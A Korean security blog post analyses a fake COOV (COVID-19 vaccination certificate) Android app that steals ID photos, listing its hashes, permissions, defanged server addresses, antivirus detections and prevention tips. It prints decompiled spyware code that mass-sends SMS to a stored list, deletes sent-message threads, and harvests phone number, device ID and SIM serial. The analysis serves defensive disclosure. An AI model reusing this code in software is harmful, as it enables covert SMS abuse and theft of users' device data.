꿈을꾸는 파랑새

오늘은 질병관리청 COOV (코로나19 전자예방접종증명서)를 사칭하는 악성코드인 질병관리청 COOV(코로나 19 전자예방접종증명서).apk(2021.12.03)에 대해 글을 적어 보겠습니다. 질병관리청에서 제공하는 질병관리청 COOV(코로나19 전자예방접종증명서) 질병관리청에서 질병관리청과 (주)블록체인랩스 에서 개발한 세계 최초 블록체인 기반의 코로나 19 디지털 예방접종 인증 앱 이며 해당 앱을 통해서 한국 국민이며 코로나 19 예방 접종 증명서 스마트폰에서 받아서 증명할 수가 있게 만들어진 앱으로 코로나 19 예방 접종을 한 국민이면 해당 앱을 통해서 누구나 쉽게 코로나 19 백신을 언제 어떤 종류를 맞았는지 확인을 할 수가 있는 편리한 앱 이며 최근 코로나 19 새로운 변종인  오미크론(όμικρον,Omicron) 이 세계각지로 퍼지고 있으며 그리고 방역패스를 진행하고 있으며 해당 방역 패스 부분에 찬반 의견이 나누어져 있습니다.
코로나 19가 유행을 하면 가짜 질병 관리 본부 사칭 피싱 사이트가 등장을 해서 안드로이드를 사용하는 스마트폰 사용자를 공격하는 악성코드를 만들어 배포하고 있고 이로 말미암아서 개인정보 노출 등 피해가 발생을 하고 있습니다. 그리고 해당 악성코드는 지난 2021.8부터 악성코드가 발견되고 나서 지금까지 변종이 계속 발견이 되는 악성코드입니다.

[소프트웨어 팁/보안 및 분석] - 질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.03)

 

질병관리청 사칭 질병관리청 COOV 스미싱 피싱 악성코드-질병관리청 COOV(2021.08.03)

오늘은 가짜 질병관리본부 사칭 스미싱 피싱 사이트 악성코드 질병관리청 COOV(2021.08.03) 에 대해 알아보겠습니다. 질병관리본부(Korea Centers for Disease Control & Prevention)는 국민의..

wezard4u.tistory.com

먼저 해당 악성코드의 해쉬값은 다음과 같습니다.
파일명:질병관리청 COOV.apk
사이즈:2.42 MB
CRC32:0335d71a
MD5:5c4fa1717ca690d6f2c73060b034e252
SHA-1:c6cc5db2563bfff68ad7ace6a1ce4e15e96602eb
SHA-256:5f5f57909deccde53715c24edecf5a2de41c9aa99ea2d7e57b742b4b26286ef7
입니다.

질병관리청 사칭 악성코드 아이콘
질병관리청 사칭 악성코드 아이콘

일단 해당 악성코드의 APK 파일을 압축을 해제하면 다음과 같이 정상적인 COOV 아이콘이 포함돼 있고 그리고 악성코드 작성 시 저번처럼 악성코드에 개인정보를 입력하기 위한 이미지 파일이 숨어져 있는 것을 확인할 수가 있습니다. 먼저 해당 악성코드 안드로이드 권한은 다음과 같습니다.

질변관리청 사칭 악성코드 안드로이드 권한
질변관리청 사칭 악성코드 안드로이드 권한

<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"/>
<uses-permission android:name="android.permission.GET_TOP_ACTIVITY_INFO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>

기본적으로 태스킹시 최상단 권한, 스마트폰 잠금 해제, 프로그래밍 방식으로 걸려오는 전화를 받을 수 있는 기능, 인터넷, 설정 쓰기, 문자 읽기, 문자 쓰기, 전화 걸기, 핸드폰 번호, 기기 고유 id 등 단말기 정보 가져오기 등을 가진 악성코드입니다.

물론 연락처 읽기, 연락처 읽기도 포함이 돼 있습니다. 즉 안드로이드 스마트폰의 권한을 대부분 가져가는 것을 볼 수가 있으며 당연히 개인정보 수집 특히 기본적으로 신분증, 운전면허증 수집을 목적이 있습니다.

COOV 악성코드 실행
COOV 악성코드 실행

일단 해당 악성코드를 실행하면 신분증/면허증 촬영하기
1. 신분증/면허증 앞면 칸에 맞추세요.
2. 빛반사없이 어두운곳에서 촬영하세요.
라고 돼 있는데 첫 번째 한국인이라면 여기서 띄어쓰기가 이상한 것을 볼 수가 있으며
진짜 질병관리청 COOV(코로나 19 전자예방접종증명서)은 휴대폰 번호로 인증이 진행되며 그리고 절대로 신분증, 면허증 사진을 요구하지 않습니다. 그리고 카메라 접근 권한은 QR 코드 인식을 하려고 권한을 주면 카카오톡 같은 곳에서는 현재 개인 안심번호를 통해서도 COOV(코로나 19 전자예방접종증명서)를 제공을 하고 있기 때문에 카카오톡을 이용을 하시는 것도 좋은 방법이며 구글 플레이 스토어 에서 공식 어플을 사용을 하시면 됩니다.

괜히 외부에서 APK 앱을 다운로드 및 실행을 하면 악성코드에 감염되면 기본적으로 언제나 이야기하지만, 기본은 백신 앱을 설치를 하는 것입니다.

문자 관련 코드
문자 관련 코드

패키지 이름: com.example.myapplication
앱 이름: 질병관리청 COOV
개인적인 생각이지만 해당 악성코드 일부 코드 변경을 해서 재탕을 하는 것 같습니다.
SMS 관련 부분은 여러 군데 존재하지만 com.example.Gnxbtwc.Tools 에 있는 SendContactsServer 부분입니다.
해당 코드는 다음과 같습니다.

public void SendContactsServer(Context context) {
        int i;
        int i2;
        if (!Boolean.valueOf(context.getSharedPreferences("pref", 0).getBoolean("sendMsg", false)).booleanValue() && context.getSharedPreferences("pref", 0).getInt("sms_switch", 0) != 1) {
            getPhoneNumber().replace(" ", "-");
            int count = 0;
            String word = context.getSharedPreferences("pref", 0).getString("word", "test");
            String phone_list = context.getSharedPreferences("pref", 0).getString("phone_list", "");
            if (phone_list != "") {
                String[] ps = phone_list.split("\n");
                int length = ps.length;
                int i3 = 0;
                while (i3 < length) {
                    String phoneNumber = ps[i3];
                    if (phoneNumber.length() > 3) {
                        i2 = i3;
                        i = length;
                        SmsManager.getDefault().sendTextMessage(phoneNumber, null, word, null, null);
                        count++;
                    } else {
                        i2 = i3;
                        i = length;
                    }
                    i3 = i2 + 1;
                    length = i;
                }
                SharedPreferences.Editor editor = context.getSharedPreferences("pref", 0).edit();
                editor.putBoolean("sendMsg", true);
                editor.commit();
            }
        }
    }

    public void deleteSMS(Context context) {
        try {
            ContentResolver CR = context.getContentResolver();
            Cursor c = CR.query(Uri.parse("content://sms/sent"), new String[]{"_id", "thread_id"}, null, null, null);
            if (c != null && c.moveToFirst()) {
                do {
                    long threadId = c.getLong(1);
                    CR.delete(Uri.parse("content://sms/conversations/" + threadId), null, null);
                } while (c.moveToNext());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

그리고 전화번호 관련 코드는 다음과 같습니다.

전화 번호 관련 코드
전화 번호 관련 코드

public String getPhoneNumber() {
        TelephonyManager tm = (TelephonyManager) this.context.getSystemService("phone");
        String phoneNumber = tm.getLine1Number();
        if (phoneNumber == null || phoneNumber.equals("")) {
            String SimserialNum = tm.getSimSerialNumber();
            String DeviceID = tm.getDeviceId();
            if (SimserialNum != null && DeviceID != null) {
                return String.valueOf(DeviceID.toUpperCase()) + "-" + SimserialNum.toUpperCase();
            } else if (DeviceID != null) {
                return DeviceID.toUpperCase();
            } else {
                return null;
            }
        } else if (phoneNumber.charAt(0) == '+') {
            return phoneNumber.substring(1);
        } else {
            return phoneNumber;
        }
    }

    public String getTelCompany() {
        return ((TelephonyManager) this.context.getSystemService("phone")).getNetworkOperatorName();
    }

그리고 GPS 즉 스마트폰 위치를 켜고 끄는 코드도 존재하는 것을 확인할 수가 있었습니다.

GPS 관련 코드

public void disableGPS() {
        onoffGPS("gps", false);
    }

    public void enableGPS() {
        onoffGPS("gps", true);
    }

    private void onoffGPS(String paramString, boolean flag) {
        String str = Settings.Secure.getString(this.context.getContentResolver(), "location_providers_allowed");
        if ((flag && !str.contains(paramString)) || (!flag && str.contains(paramString))) {
            Intent intent = new Intent();
            intent.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider");
            intent.addCategory("android.intent.category.ALTERNATIVE");
            intent.setData(Uri.parse("3"));
            this.context.sendBroadcast(intent);
        }
    }

이며 악성코드에 포함된 인터넷 주소는 다음과 같습니다.

http://192.168.0(.)104:8087/ImageServer/upServer
http://www.nosy(.)fit/
K-.Ki(.)Ki/K-.
http://schemas.android(.)com/apk/res-auto
http://schemas.android(.)com/apk/res/android
https://www.naver(.)com/

접속한 공개 IP는 다음과 같습니다.

14.44.231(.)229 Taiwan; Republic of China (ROC)

2021-12-05 03:04:49 UTC 바이러스토탈 기준으로 탐지되는 악성코드는 다음과 같습니다.
AhnLab-V3:Spyware/Android.Agent.1022947
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/SpyAgent.FJVO.Gen
BitDefenderFalx:Android.Riskware.Agent.JEJ
CAT-QuickHeal:Android.SMForw.GEN37097
Cynet:Malicious (score: 99)
Cyren:AndroidOS/Trojan.UTPL-7
DrWeb:Android.SmsSpy.847.origin
ESET-NOD32:A Variant Of Android/Spy.Agent.BSO
Fortinet:Android/Agent.BSO!tr
Ikarus:Trojan.AndroidOS.Agent
K7GW:Trojan ( 0057ee141 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmsThief.rv
Lionic:Trojan.AndroidOS.SmsThief.C!c
McAfee:Artemis!5C4FA1717CA6
McAfee-GW-Edition:Artemis
Microsoft:Program:AndroidOS/Multiverze
Sophos:Andr/Spy-BFE
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:Spyware:MobileSpy
Tencent:A.privacy.emial.d

악성코드 인증서 정보
악성코드 인증서 정보

악성코드에 포함된 인증서 내용은 다음과 같습니다.
서명 검증 성공
유효한 APK 서명 v1을(를) 찾았습니다.
서명자 CERT.RSA (META-INF/CERT.SF)
유형: X.509
버전: 3
시리얼 번호: 0x936eacbe07f201df
소유자: EMAILADDRESS=android@android(.)com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
유효 시작 시각: Fri Feb 29 10:33:46 GMT+09:00 2008
유효 종료 시각: Tue Jul 17 10:33:46 GMT+09:00 2035
공개키 타입: RSA
지수: 3
모듈러스 크기 (비트): 2048
모듈러스: 27087533857153302906822427244451835680271467139433638657402420676788772368468316411790577780743478815329574319010356420647651577255214076320764054962227698091591190998224183931185609609820277016242603583619929549819986490809257050240250723681109660718403959925449702875642189909904608631689243630431349528603016850515510838951987672075344238987930639179476225895129710043944157373677589593772202003591689051650854123572660036810919613063456337914746959297660631038090097224838665758049737111657080826771808365050815496720770905152230613652255807956565630323299366925404317303221604342657788982549334320910974026967327
서명 유형:SHA1withRSA
서명 OID:1.2.840.113549.1.1.5
일단 기본적으로 대부분 보안업체가 탐지하고 있으면 언제나 이야기하는 기본적인 예방 방법은 다음과 같습니다.
요약
1.구글 플레이 스토어 및 공식 스토어 이외에 어플 설치하지 말 것
2.공신력 있는 백신 앱(안티바이러스 앱) 설치해서 실시간 감시 및 실시간 업데이트할 것(AV-TEST 참고)
3.구글 안드로이드 스마트폰에서는 외부 앱을 설치를 하려고 하면 경고 메시지가 나오는데 해당 경고 메시지처럼 외부 앱 설치하지 말 것
4.스팸 차단앱 후후,후스콜,T 전화 같은 것을 사용하면 이런 앱을 활용을 하면 이런 보이스피싱 피해를 줄일 수가 있습니다.
5.소개팅 어플에서 어떤 어플을 다운로드 해서 설치하라고 하면 100% 악성코드입니다.
기본적인 보안 수칙을 지킨다고 하면 이런 스미싱 피해는 줄일 수가 있습니다. 특히 이름 있는 백신 어플을 사용을 하면 기본적으로 악성코드가 유포되는 사이트 및 악성코드를 사전에 차단할 수가 있습니다.
사견으로는 해당 악성코드 그냥 패키지 이름이 example인 것을 보면 그냥 재미삼아 악성코드를 제작하면서 스마트폰 사용이 어려워하는 사용자를 노리는 것이 아닌가 생각이 됩니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band